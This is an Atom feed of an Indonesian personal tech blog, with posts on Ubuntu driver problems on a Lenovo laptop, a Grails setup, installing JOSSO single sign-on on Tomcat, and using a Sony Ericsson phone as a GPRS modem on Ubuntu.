<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6524342761532683951</id><updated>2011-12-10T10:48:22.096+07:00</updated><category term='pertama'/><category term='Tech'/><category term='info'/><category term='kampus'/><category term='komunitas'/><category term='development'/><category term='internet'/><category term='tutorial'/><title type='text'>blog bangets deh!</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>49</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-7949191688241163402</id><published>2010-04-03T00:00:00.002+07:00</published><updated>2010-04-03T00:07:53.033+07:00</updated><title type='text'>Ubuntu 9.10 Karmic Koala on Lenovo G460... it's so painful...</title><content type='html'>OK, got a new laptop yesterday... dah diinstal Ubuntu 9.10 Karmic ma oms anwar :D :D....&lt;br /&gt;&lt;br /&gt;sampe rumah, pgn install2 buat develop kerjaan (Zend Studio 7.1.2, CrossOver, Netbeans, RapidSVN, dll) eeehhh 30 menit kemudian desktop ngaco tampilanna, ngefreeze... d*mn!!!!!... &lt;br /&gt;&lt;br /&gt;gugel sana-sini akhirna nemu link menarik soal bug di karmic&lt;br /&gt;&lt;br /&gt;&lt;a href="https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/527149"&gt;Disini&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;dan &lt;br /&gt;&lt;br /&gt;&lt;a href="http://ohioloco.ubuntuforums.org/showthread.php?t=1309015"&gt;Disini&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;dan&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ubuntuforums.org/showthread.php?t=132969"&gt;Disini&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;OK, nyoba upgrade driver Nvidia ke 190, humm.. tetep ngefreeze.... still no solution...&lt;br /&gt;&lt;br /&gt;Ada masalah baru, wifi sering diskonek (ouch....).. gugel sana sini, mang ada masalah di driver Atheros AR9285... dapet pencerahan pake driver compat-wireless... &lt;br /&gt;&lt;br /&gt;&lt;a href="http://linuxwireless.org/en/users/Download"&gt;LinuxWireless&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ganti driver yg lama, load driver baru... done... problem solved!.. &lt;br /&gt;&lt;br /&gt;Ya tinggal yg ngefreeze ini, kayakna perlu coba upgrade kernel ke 2.6.32 (current kernel : 2.6.31)... Karmic, U re so cute but painful too... :(&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-7949191688241163402?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/7949191688241163402/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=7949191688241163402' title='2 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/7949191688241163402'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/7949191688241163402'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2010/04/ubuntu-910-karmic-koala-on-lenovo-g460.html' title='Ubuntu 9.10 Karmic Koala on Lenovo G460... it&apos;s so painful...'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-4709316644333575329</id><published>2010-01-26T13:39:00.008+07:00</published><updated>2010-01-26T14:11:05.908+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='development'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Introduction With GRAILS</title><content type='html'>dah lama gk ngeblog.. iseng2 ajah update blog hehehehhee...&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Grails is an open source web application framework which leverages the Groovy programming language (which is in turn based on the Java platform)&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;taken from wikipedia&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;GRAILS ini ya framework yg dasarna MVC... buat aq yg dulu pake cakePHP kurang lebih 11-12 ma Grails ini... Kalo di cakePHP ada si baker, utility untuk membuat view, controller secara langsung.. di GRAILS ini juga ada jadina gk usah repot2 ngoding ulang, tinggal ngoding buat entity databasena ajah :P&lt;br /&gt;&lt;br /&gt;Apa ajah yg diperluin? berhubung ini si GRAILS berbasis Java ya tentuna pake JDK, aq pake JDK 1.6..&lt;br /&gt;&lt;br /&gt;Download GRAILS dari &lt;a href="http://www.grails.org/Download"&gt;sini&lt;/a&gt; , pilih yg stable ajah.. Saat tulisan ini dibuat masih versi 1.2 :D&lt;br /&gt;&lt;br /&gt;Setelah di donlod, ekstrak n tempatin di C:\ (windows) atau ~/grails (linux), gk harus disitu juga sih, tapi kita ikutin ajah petunjuk instalansina :P. Setelah tu kita set enviroment variable (hal lumrah untuk yg berbasis Java :P) yaitu GRAILS_HOME, untuk windows settingan ini ada si System Properties, bisa dibuka dengan cara klik kanan di My Computer lalu pilih Properties, pilih tab Advanced lalu klik Enviroment Variables&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_C4OekAEc7cI/S16RXlQVMnI/AAAAAAAAAQQ/IUN1_OaDij8/s1600-h/sysenv.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 287px; height: 320px;" src="http://4.bp.blogspot.com/_C4OekAEc7cI/S16RXlQVMnI/AAAAAAAAAQQ/IUN1_OaDij8/s320/sysenv.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5430938034979025522" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Lalu lihat di bagian System Variabels, kalo belum ada JAVA_HOME, ya ditambahin dulu :P, klik New, lalu masukan JAVA_HOME untuk variable name dan lokasi JDK diinstal (ex: D:\program files\jdk1.6.0_012) untuk variable value na :D&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_C4OekAEc7cI/S16SXMPaVkI/AAAAAAAAAQY/u0gdS8qTdeI/s1600-h/sysenv2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 289px; height: 320px;" src="http://3.bp.blogspot.com/_C4OekAEc7cI/S16SXMPaVkI/AAAAAAAAAQY/u0gdS8qTdeI/s320/sysenv2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5430939127775909442" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Lakukan hal yg sama buat si GRAILS_HOME tapi tambahkan \bin untuk merujuk ke folder bin (ex : C:\grails-1.2.0\bin), abis itu tutup environment variable :D. Coba buka CMD (Command Prompt) lalu ketik grails, kalo dah ada kayak gambar dibawah maka kita siap ngoprek2 GRAILS :)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_C4OekAEc7cI/S16TR2yP33I/AAAAAAAAAQg/gYHr2huXre0/s1600-h/cmd.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 162px;" src="http://3.bp.blogspot.com/_C4OekAEc7cI/S16TR2yP33I/AAAAAAAAAQg/gYHr2huXre0/s320/cmd.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5430940135628726130" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Taraaaaaaaa.. yuk kita nge-GRAILS hehehehhehe....&lt;br /&gt;&lt;br /&gt;Untuk IDE sebenarna pake Notepad ato vim ajah dah cukup :P hehehhehe.. tapi kalo pgn lebih lengkap bisa pake Netbeans, Eclipse, IDEA ato Textmate :P sesuai selera ajah :). Aq pake netbeans 6.8 dengan plugin Groovy...&lt;br /&gt;&lt;br /&gt;Enakna pake IDE kayak gini, dia udah otomatis bikinin folder2 n file yg diperluin buat dasar pengembangan aplikasi kita :), kalo di Netbeans tinggal pilih New Project, pilih Groovy lalu Groovy Application&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_C4OekAEc7cI/S16UxPotODI/AAAAAAAAAQo/FbZbpyornqg/s1600-h/netbeans.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 220px;" src="http://2.bp.blogspot.com/_C4OekAEc7cI/S16UxPotODI/AAAAAAAAAQo/FbZbpyornqg/s320/netbeans.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5430941774387165234" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Sebelumna kita cek dulu apakah si GRAILS dah dikenal ma si Netbeans, carana pilih Configure Groovy lalu cek apakah di bagian GRAILS HOME sudah benar merujuk ke lokasi installan GRAILS kita...&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_C4OekAEc7cI/S16VHJYIc1I/AAAAAAAAAQw/MJmfTzVih1M/s1600-h/netbeans2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 220px;" src="http://1.bp.blogspot.com/_C4OekAEc7cI/S16VHJYIc1I/AAAAAAAAAQw/MJmfTzVih1M/s320/netbeans2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5430942150664155986" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_C4OekAEc7cI/S16VNuqhNSI/AAAAAAAAAQ4/d9mQudyft7g/s1600-h/netbeans3.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 272px;" src="http://4.bp.blogspot.com/_C4OekAEc7cI/S16VNuqhNSI/AAAAAAAAAQ4/d9mQudyft7g/s320/netbeans3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5430942263752602914" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Kalo dah sesuai klik OK dan kita siap untuk coding :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-4709316644333575329?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/4709316644333575329/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=4709316644333575329' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/4709316644333575329'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/4709316644333575329'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2010/01/introduction-with-grails.html' title='Introduction With GRAILS'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_C4OekAEc7cI/S16RXlQVMnI/AAAAAAAAAQQ/IUN1_OaDij8/s72-c/sysenv.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-6230585173338503435</id><published>2008-11-28T08:37:00.003+07:00</published><updated>2008-11-28T09:10:10.704+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>JOSSO + MySQL + TOMCAT 6.0 + PHP</title><content type='html'>Setelah sekian lama vakum di dunia per-blog-an maka nyoba2 lagi aaahhh buat ngeblog :) n aq alamin sendiri kalo nyari2 tutorial JOSSO (selain dari situs resmina) itu sangat susah sekali n gk beginner-friendly :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What is JOSSO? &lt;blockquote&gt;JOSSO, or Java Open Single Sign-On, is an open source J2EE-based SSO infrastructure aimed to provide a solution for centralized, platform neutral, user authentication and authorization.&lt;/blockquote&gt; &lt;span style="font-style:italic;"&gt;Taken from &lt;a href="http://www.josso.org"&gt;Josso Main Site&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Intina, JOSSO digunakan untuk autentikasi secara sentral atau terpusat, misal aq punya beberapa web dimana tiap web memerlukan autentikasi. Maka dgn JOSSO kita dapat mudah mengimplementasikan SSO (single Sign On) di tiap web tersebut :)... SSO bisa diibaratkan "Sekali Login, bisa kemana aja" :)&lt;br /&gt;&lt;br /&gt;OK, let's get it on....&lt;br /&gt;&lt;br /&gt;What do u Need?&lt;br /&gt;1. JOSSO new release (AFAIK saat ini sudah sampe versi 1.7), ambil dari &lt;a href="http://www.josso.org"&gt;Josso Main Site&lt;/a&gt;.&lt;br /&gt;2. Apache Tomcat, disini aq pake versi 6.0.x ambil dari &lt;a href="http://tomcat.apache.org/download-60.cgi"&gt;Apache Tomcat&lt;/a&gt;&lt;br /&gt;3. MySQL Server, aq pake versi 5.0.x&lt;br /&gt;4. PHP compiled with SOAP Disabled, ap pake versi 5.x&lt;br /&gt;5. Java JDK &gt;= 1.5&lt;br /&gt;6. Mysql-connector.jar (Connector MySQL untuk JDBC, biasana dah include di java JDK)&lt;br /&gt;&lt;br /&gt;Secara garis besar struktur yg akan dibangun adalah :&lt;br /&gt;&lt;br /&gt;JOSSO Server (Tomcat 6.0) ========= Web server (Apache 2.x + PHP 5.x) ========= Database Server (MySQL 5.x)&lt;br /&gt;&lt;br /&gt;Dengan skenario :&lt;br /&gt;&lt;br /&gt;User login from web server ======== redirect to JOSSO Server ========= JOSSO server melakukan autentikasi ke Database Server ========= User valid? yes, redirect to web server &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Proses Instalansi di JOSSO Server&lt;/b&gt;&lt;br /&gt;Platform yg digunakan adalah Linux Ubuntu Server 8.04, pertama install terlebih dahulu java JDK dgn command : &lt;br /&gt;&lt;br /&gt;# apt-get install sun-java6-jdk&lt;br /&gt;&lt;br /&gt;Setelah terinstall dgn sukses, ekstrak file Tomcat6.0. &lt;br /&gt;&lt;br /&gt;# tar -zxvf apache-tomcat-6.0.18.tar.gz&lt;br /&gt;&lt;br /&gt;Setelah itu kita akan mensetting environment, sesuaikan path jvm dan tomcat sesuai system anda :&lt;br /&gt;&lt;br /&gt;# export JAVA_HOME=/usr/lib/jvm/java-6-sun-1.6.0.07&lt;br /&gt;# export CATALINA_HOME=/usr/lib/apache-tomcat-6.0.18&lt;br /&gt;&lt;br /&gt;Ekstrak file JOSSO, masuk ke directory jossona. &lt;br /&gt;&lt;br /&gt;# tar -zxvf josso-1.7.tar.gz&lt;br /&gt;# cd josso-1.7/josso&lt;br /&gt;&lt;br /&gt;Buat directory core/src/webapp/josso/WEB-INF/lib, Kopikan file mysql-connector.jar kedalam directory tadi&lt;br /&gt;&lt;br /&gt;# mkdir core/src/webapp/josso/WEB-INF/lib&lt;br /&gt;# cp /usr/share/java/mysql-connector-5.1.jar&lt;br /&gt;&lt;br /&gt;Setelah itu kita build file war untuk josso, &lt;br /&gt;&lt;br /&gt;# ./build.sh war&lt;br /&gt;&lt;br /&gt;Maka akan tercipta 3 file war baru. Setelah itu install JOSSO&lt;br /&gt;&lt;br /&gt;# ./build.sh install-tomcat60&lt;br /&gt;&lt;br /&gt;Nantina akan di prompt sejumlah keterangan2 kayak proses compile :P... hehehehhe&lt;br /&gt;Setelah Install Successful, kita perlu deploy JOSSO kedalam apache-tomcat60 TAPI dgn opsi untuk tidak mengikutsertakan file configurasi defaultnya (nanti kita akan bikin sendiri)&lt;br /&gt;&lt;br /&gt;# ./build.sh -Dexclude.config=true deploy-tomcat60&lt;br /&gt;&lt;br /&gt;Taraaaaa.... JOSSO dah berhasil di install di tomcat, selanjutnya tinggal mengkonfigurasi si JOSSO :) :) bersambung yaaaaa :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-6230585173338503435?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/6230585173338503435/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=6230585173338503435' title='5 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/6230585173338503435'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/6230585173338503435'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2008/11/josso-mysql-tomcat-60-php.html' title='JOSSO + MySQL + TOMCAT 6.0 + PHP'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-4740770096735234494</id><published>2008-03-25T00:07:00.014+07:00</published><updated>2008-03-25T01:14:28.801+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>Sony Ericsson w200i GPRS Modem with Ubuntu 7.10</title><content type='html'>Ketika gk da sambungan internet (gratisan :P) tp pgn nge-net (chatting tentuna :P) binun juga... Kebetulan punya HP Sony Ericsson (baca: SonEr) w200i yg bisa GPRS-an (dah dicoba lsg :P), tp kalo dijadiin modem buat si lappie gimana ya?? Ternyata mang bisa, pake ppp (Point-to-Point Protocol) :) :) Kali ini aq coba pake Ubuntu 7.10.. yuuukkkkk :P&lt;br /&gt;&lt;br /&gt;Pertama kita perlu install pppconfig dari repository Ubuntu na, boleh pake CD/DVD repo ato lsg onlen...&lt;br /&gt;&lt;br /&gt;# apt-get update&lt;br /&gt;# apt-get install pppconfig&lt;br /&gt;&lt;br /&gt;Perintah update bakal meng-update package list dari repo yg kita pilih (lokal/internet), tyus yg kedua bakal install package pppconfig (biar lebih gampang konfigurasi ppp na :P)&lt;br /&gt;&lt;br /&gt;Buzzz buzzz buzzz... setelah selesai diinstal, kita tancepin si SonEr pake kabel datana (Biasana kabel DKU-2 yang interfacena USB, serial juga bisa ko :P)... nah dari SonEr pilih modus telepon atau Phone Mode... &lt;br /&gt;&lt;br /&gt;Untuk mengecek apa si HP dah konek dengan sukses di Ubuntu, bisa pake System Log, dari menu system (Menu paling atas di desktop :P) pilih Administration) pilih System Log. Setelah windows SYstem Log keluar, pilih Message dari menu paling kiri, cari kata2 seperti ini :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_C4OekAEc7cI/R-fkWcORuTI/AAAAAAAAAIw/RiqRnJFZVkg/s1600-h/snapshot-pppconfig-10-1.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/R-fkWcORuTI/AAAAAAAAAIw/RiqRnJFZVkg/s320/snapshot-pppconfig-10-1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5181360970497374514" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Disitu bisa kita liat kalo si SonEr terdetek di /dev/ttyACM0 atau /dev/ttyACM1. Catet atau apalin interface ini :P&lt;br /&gt;&lt;br /&gt;Selanjutna kita konfigurasi ppp, buka terminal (menu Applications -&gt; Accessories -&gt; Terminal) tyus ketikin :&lt;br /&gt;&lt;br /&gt;# pppconfig&lt;br /&gt;&lt;br /&gt;Ntar muncul menu kayak gini :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_C4OekAEc7cI/R-fmm8ORuUI/AAAAAAAAAI4/oiqAgypSyDs/s1600-h/snapshot-pppconfig-1.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/R-fmm8ORuUI/AAAAAAAAAI4/oiqAgypSyDs/s320/snapshot-pppconfig-1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5181363452988471618" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Pilih Create a New connection, tyus masukin nama providerna (Bebas ko :P) contohna :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_C4OekAEc7cI/R-fnOsORuVI/AAAAAAAAAJA/-joHHtrANC8/s1600-h/snapshot-pppconfig-2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_C4OekAEc7cI/R-fnOsORuVI/AAAAAAAAAJA/-joHHtrANC8/s320/snapshot-pppconfig-2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5181364135888271698" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Setelah selesai, kita pilih DNS.. Pilih Dynamic DNS :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_C4OekAEc7cI/R-fsuMORufI/AAAAAAAAAKQ/9virJfEZW8w/s1600-h/snapshot-pppconfig-3.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/R-fsuMORufI/AAAAAAAAAKQ/9virJfEZW8w/s320/snapshot-pppconfig-3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5181370174612290034" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Pilih jenis Authentication, yaitu PAP :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_C4OekAEc7cI/R-fosMORuXI/AAAAAAAAAJQ/wb1ftVm2oE4/s1600-h/snapshot-pppconfig-4.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/R-for8ORuWI/AAAAAAAAAJI/xtfhpQECDno/s320/snapshot-pppconfig-4.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5181365737911073122" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Abis itu kita masukin username, kalo pake im3 usernamena &lt;b&gt;gprs&lt;/b&gt; :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_C4OekAEc7cI/R-for8ORuWI/AAAAAAAAAJI/xtfhpQECDno/s1600-h/snapshot-pppconfig-5.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/R-fosMORuXI/AAAAAAAAAJQ/wb1ftVm2oE4/s320/snapshot-pppconfig-5.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5181365742206040434" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Menu selanjutna kita masukin passwordna, kalo pake im3 passwordna &lt;b&gt;im3&lt;/b&gt; :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_C4OekAEc7cI/R-foscORuYI/AAAAAAAAAJY/oJ2a4QcTNuM/s1600-h/snapshot-pppconfig-6.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/R-foscORuYI/AAAAAAAAAJY/oJ2a4QcTNuM/s320/snapshot-pppconfig-6.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5181365746501007746" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Selanjutna pilih baud-rate, aq masukin 115200 disini :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_C4OekAEc7cI/R-foscORuZI/AAAAAAAAAJg/HA74RNaDGos/s1600-h/snapshot-pppconfig-7.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/R-foscORuZI/AAAAAAAAAJg/HA74RNaDGos/s320/snapshot-pppconfig-7.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5181365746501007762" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Pilih Tone Dialing :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_C4OekAEc7cI/R-fpocORuaI/AAAAAAAAAJo/sgZUQ_hfnDc/s1600-h/snapshot-pppconfig-8.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/R-fpocORuaI/AAAAAAAAAJo/sgZUQ_hfnDc/s320/snapshot-pppconfig-8.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5181366777293158818" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Masukin dial numberna, untuk GSM biasana &lt;b&gt;*99***1#&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_C4OekAEc7cI/R-fposORubI/AAAAAAAAAJw/xEPLwxDcBr4/s1600-h/snapshot-pppconfig-9.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_C4OekAEc7cI/R-fposORubI/AAAAAAAAAJw/xEPLwxDcBr4/s320/snapshot-pppconfig-9.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5181366781588126130" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Nahhh abis ini kita akan memilih interface buat si modem, masih inget kan interface SonEr diatas??? Pilih No untuk masukin secara manual, tyus ketik ajah interfacena (misal /dev/ttyACM0) :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_C4OekAEc7cI/R-fpo8ORucI/AAAAAAAAAJ4/3j7vS7vWAwU/s1600-h/snapshot-pppconfig-11.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/R-fpo8ORucI/AAAAAAAAAJ4/3j7vS7vWAwU/s320/snapshot-pppconfig-11.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5181366785883093442" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Muncul menu konfirmasi, periksa kembali semua settingan.. kalo udah pilih Finish :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_C4OekAEc7cI/R-fppsORudI/AAAAAAAAAKA/d6oj7Ki38Lc/s1600-h/snapshot-pppconfig-12.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_C4OekAEc7cI/R-fppsORudI/AAAAAAAAAKA/d6oj7Ki38Lc/s320/snapshot-pppconfig-12.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5181366798767995346" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Keluar dari menu pppconfig tyus untuk jalanin ppp na kita buka Terminal lagi, ketikin :&lt;br /&gt;&lt;br /&gt;# pon [nama_provider]&lt;br 